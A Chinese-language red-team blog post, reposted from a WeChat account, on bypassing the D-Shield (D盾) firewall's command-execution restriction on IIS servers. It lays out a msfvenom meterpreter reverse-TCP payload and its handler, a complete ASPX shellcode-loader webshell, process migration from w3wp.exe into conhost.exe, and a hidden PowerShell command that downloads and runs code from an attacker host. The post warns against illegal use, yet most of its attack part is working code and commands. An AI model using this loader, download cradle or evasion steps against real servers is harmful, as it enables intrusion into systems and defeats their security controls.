1. 首页
  2. 红队技术

D盾防火墙防护绕过-[命令执行限制]

【推荐学习】暗月渗透测试培训 十多年渗透经验,体系化培训渗透测试 、高效学习渗透测试,欢迎添加微信好友aptimeok 咨询。

声明:该公众号大部分文章来自作者日常学习笔记,也有部分文章是经过作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。
请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。

0x01 测试环境

操作系统:Windows Server 2008 R2 x64软件版本:Dv2.1.4.4[测试版]进程名称:d_manage.exe[D盾服务程序]D_Safe_Manage.exe[D盾管理程序]服务名称:d_safe[D盾_服务程序(提供网站和服务器安全服务)]

0x02 功能介绍

D盾防火墙的“命令执行限制”是通过多种方式来进行限制的,【组件限制】是通过禁止调用wscript.shell、shell.application组件来限制执行命令。

D盾防火墙防护绕过-[命令执行限制]

而【执行限制】是通过禁止在w3wp.exe进程下创建子进程来限制执行命令和程序,这样能够有效防止入侵者在提权时执行命令和危险程序等。

D盾防火墙防护绕过-[命令执行限制]

w3wp.exe是IIS与应用池相关联进程,Webshell执行命令和程序时都会在w3wp.exe下创建子进程,而D盾不允许在w3wp.exe下创建子进程,所以在执行命令、脚本、程序时都会被拦截,提示:拒绝访问

D盾防火墙防护绕过-[命令执行限制]

0x03 解决方案

使用msfvenom命令生成csharp shellcode,将shellcode替换至intosec-shellcode.aspx脚本的codeBytes处,接着我们在handler监听模块里配置好相关选项,执行监听。

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.120 lport=443 -f csharp
set payload windows/x64/meterpreter/reverse_tcpset lhost 192.168.1.120set lport 443exploit

D盾防火墙防护绕过-[命令执行限制]

将替换好的intosec-shellcode.aspx脚本上传至目标网站Web目录下,通过浏览器访问该脚本文件即可得到目标主机Meterpreter会话,但还是不能直接执行命令,那么要如何绕过呢?

D盾防火墙防护绕过-[命令执行限制]

这里我们可以利用进程注入的方式来绕过,首先加载powershell扩展,使用powershell_shell命令进入交互模式下执行powershell得到一个x64的conhost.exe进程来进行当前会话的进程迁移。其实只要随便执行一条命令即可,然后再Ctrl+C强制结束就会有conhost.exe

D盾防火墙防护绕过-[命令执行限制]

为什么要执行以上操作?因为在这种场景下当前权限运行的进程只有w3wp.exe,没有其它同权限进程用于进程迁移,所以只能利用powershell扩展得到个conhost.exe进程用于执行迁移。

 

如果遇到执行powershell但并没有conhost.exe进程的情况,可能是需要多执行几次才会有。

D盾防火墙防护绕过-[命令执行限制]

通过上图可以看到已经成功利用powershell扩展得到一个PID为4156的conhost.exe进程,这时就可以利用migrate命令将当前会话进程w3wp.exe迁移到conhost.exe进程。

然后再去执行shell命令时发现已经成功的绕过了D盾防火墙的【执行限制】,这时可以看到已经可以正常的执行系统命令、脚本和程序了。

D盾防火墙防护绕过-[命令执行限制]

注意事项:

这种方式是将shellcode加载到w3wp.exe内存中运行,但非常容易造成IIS应用程序池崩溃,访问网站出现503报错,所以还请谨慎使用。

 

而且获取的会话经常会断开,不适合运行在w3wp.exe、conhost.exe,所以还是得在绕过D盾防火墙的【执行限制】后再单独运行一个Payload。

powershell.exe -nop -w hidden -c $x=new-object net.webclient;$x.proxy=[Net.WebRequest]::GetSystemWebProxy();$x.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $x.downloadstring('http://192.168.1.120:8080/CEE8ABRRXl');

为什么不用msfvenom生成的aspx脚本呢?因为D盾防火墙的“脚本安全性检测”会拦截,或者在访问时会出现下图提示:无法在DLL“kernel32”中找到名为“CreateThread”的入口点,这是因为D盾禁止并拦截了这个API(kernel32.dll CreateThread)。

D盾防火墙防护绕过-[命令执行限制]

intosec-shellcode.aspx:

<%@ Page Language=”C#” AutoEventWireup=”true” Inherits=”System.Web.UI.Page” %>
<%@ Import Namespace=”System” %>
<%@ Import Namespace=”System.Runtime.InteropServices” %>

<script runat=”server”>
delegate int revtcp();
protected void Page_Load(object sender, EventArgs e)
{
byte[] codeBytes = {
Insert Shellcode Here };
IntPtr handle = IntPtr.Zero;
handle = VirtualAlloc(
IntPtr.Zero,
codeBytes.Length,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
try
{
Marshal.Copy(codeBytes, 0, handle, codeBytes.Length);
revtcp msfpayload
= Marshal.GetDelegateForFunctionPointer(handle, typeof(revtcp)) as revtcp;
msfpayload();
}
finally
{
VirtualFree(handle, 0, MEM_RELEASE);
}
}

//Windows API
[DllImport(“Kernel32.dll”, EntryPoint = “VirtualAlloc”)]
public static extern IntPtr VirtualAlloc(IntPtr address, int size, uint allocType, uint protect);
[DllImport(“Kernel32.dll”, EntryPoint = “VirtualFree”)]
public static extern bool VirtualFree(IntPtr address, int size, uint freeType);
//flags
const uint MEM_COMMIT = 0x1000;
const uint MEM_RESERVE = 0x2000;
const uint PAGE_EXECUTE_READWRITE = 0x40;
const uint MEM_RELEASE = 0x8000;
</script>

0x04 D盾 v.2.6.1.3(2022/4)

这个版本的D盾防火墙拦截了kernel32.dll的以下几个API函数。msf-shellcode.aspx、intosec-shellcode.aspx脚本的VirtualAlloc,哥斯拉Csharp马连接时的LoadLibraryW

CreateThreadVirtualAllocLoadLibraryALoadLibraryW......

D盾防火墙防护绕过-[命令执行限制]

哈哈哈,师傅们别骂了,只能怪我太菜了,研究测试了几天,最终也没能绕过最新版的【执行限制】,如果有师傅知道如何绕过或是想一起研究的可以交流下。
来源 https://mp.weixin.qq.com/s/r0fYw_n__41vxDU4xbp39Q


原创文章,作者:mOon,如若转载,请注明出处:https://www.moonsec.com/4386.html

联系我们

400-800-8888

在线咨询:点击这里给我发消息

邮件:admin@example.com

工作时间:周一至周五,9:30-18:30,节假日休息